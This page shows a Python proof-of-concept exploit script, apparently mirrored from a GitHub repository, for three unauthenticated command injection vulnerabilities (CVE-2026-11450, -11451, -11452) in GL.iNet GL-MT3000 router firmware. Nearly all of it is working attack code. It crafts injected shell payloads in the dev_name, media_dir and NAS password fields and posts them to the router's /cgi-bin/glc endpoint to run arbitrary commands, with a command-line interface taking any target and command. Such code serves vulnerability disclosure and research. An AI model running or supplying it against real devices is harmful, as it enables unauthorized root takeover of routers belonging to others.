5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
GL.iNet GL-MT3000 (Beryl AX) Triple RCE PoC
CVE-2026-11450 / CVE-2026-11451 / CVE-2026-11452

Exploits three unauthenticated command injection vulnerabilities
in the /cgi-bin/glc endpoint of GL.iNet GL-MT3000 firmware <= 4.4.5.

Full article: https://www.hunt-benito.com/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/

DISCLAIMER: For educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit permission to test.
"""

import json
import ssl
import sys
import time
import urllib.request
import argparse

def create_ssl_ctx():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx

def glc_call(target, method, args, ctx):
    body = {"object": "nas-web", "method": method, "args": args}
    url = target.rstrip("/") + "/cgi-bin/glc"
    req = urllib.request.Request(
        url,
        data=json.dumps(body).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    try:
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")

def exploit_cve_2026_11450(target, ctx, cmd, outfile):
    prefix = "/" * 54 + "null"
    payload = f"$({cmd}>{outfile})"
    dev_name = prefix + payload

    status, body = glc_call(target, "eject_disk_do1", {"dev_name": dev_name}, ctx)
    print(f"[*] CVE-2026-11450 (Buffer Mismatch)")
    print(f"    dev_name length: {len(dev_name)}")
    print(f"    access() sees:  /dev/{dev_name[:58]}")
    print(f"    system() sees:  ...{payload}")
    print(f"    Response: {status} {body[:200]}")
    print(f"    Verify: cat {outfile}")
    return status

def exploit_cve_2026_11451(target, ctx, cmd, outfile):
    media_dir = f"/x';{cmd}>{outfile} 2>&1;#"
    body_args = {
        "protos": [{"name": "ftp", "enable": 1, "media_dir": media_dir}]
    }

    status, body = glc_call(target, "set_proto_config", body_args, ctx)
    print(f"[*] CVE-2026-11451 (Quote Escape)")
    print(f"    media_dir: {media_dir}")
    print(f"    Response: {status} {body[:200]}")
    print(f"    Verify: cat {outfile}")
    return status

def exploit_cve_2026_11452(target, ctx, cmd, outfile):
    import shlex

    print(f"[*] Ensuring NAS service is running...")
    glc_call(target, "set_nas_ser", {"enable": 1}, ctx)
    glc_call(target, "start", {}, ctx)
    time.sleep(2)

    _, users_raw = glc_call(target, "get_user_list", {}, ctx)
    parts = users_raw.split(" ", 2)
    users_data = json.loads(parts[2] or "{}") if len(parts) >= 3 else {}
    users = users_data.get("list", [])

    if not users:
        print("    [-] No NAS user found. Create one via the admin panel first.")
        return None

    nas_user = users[-1]["name"]
    print(f"    Using NAS user: {nas_user}")

    command = f"sh -c {shlex.quote(cmd)}>{shlex.quote(outfile)} 2>&1"
    nonce = str(time.time_ns())[-8:]
    password = f"Aa1!$({command}){nonce}"

    status, body = glc_call(target, "set_user_pwd", {"name": nas_user, "password": password}, ctx)
    print(f"[*] CVE-2026-11452 (Password Injection)")
    print(f"    user: {nas_user}")
    print(f"    password: {password}")
    print(f"    Response: {status} {body[:200]}")
    print(f"    Verify: cat {outfile}")
    return status

def main():
    parser = argparse.ArgumentParser(description="GL.iNet GL-MT3000 Triple RCE PoC")
    parser.add_argument("target", help="Router URL (e.g. http://192.168.8.1)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("-o", "--outfile", default="/tmp/poc_output", help="Remote output file")
    parser.add_argument(
        "-v", "--cve",
        choices=["11450", "11451", "11452", "all"],
        default="all",
        help="Which CVE to exploit (default: all)",
    )
    args = parser.parse_args()

    ctx = create_ssl_ctx()
    print(f"Target: {args.target}")
    print(f"Command: {args.cmd}")
    print(f"Output file: {args.outfile}")
    print()

    if args.cve in ("11450", "all"):
        try:
            exploit_cve_2026_11450(args.target, ctx, args.cmd, args.outfile + "_11450")
        except Exception as e:
            print(f"    [-] Error: {e}")
        print()

    if args.cve in ("11451", "all"):
        try:
            exploit_cve_2026_11451(args.target, ctx, args.cmd, args.outfile + "_11451")
        except Exception as e:
            print(f"    [-] Error: {e}")
        print()

    if args.cve in ("11452", "all"):
        try:
            exploit_cve_2026_11452(args.target, ctx, args.cmd, args.outfile + "_11452")
        except Exception as e:
            print(f"    [-] Error: {e}")
        print()

if __name__ == "__main__":
    main()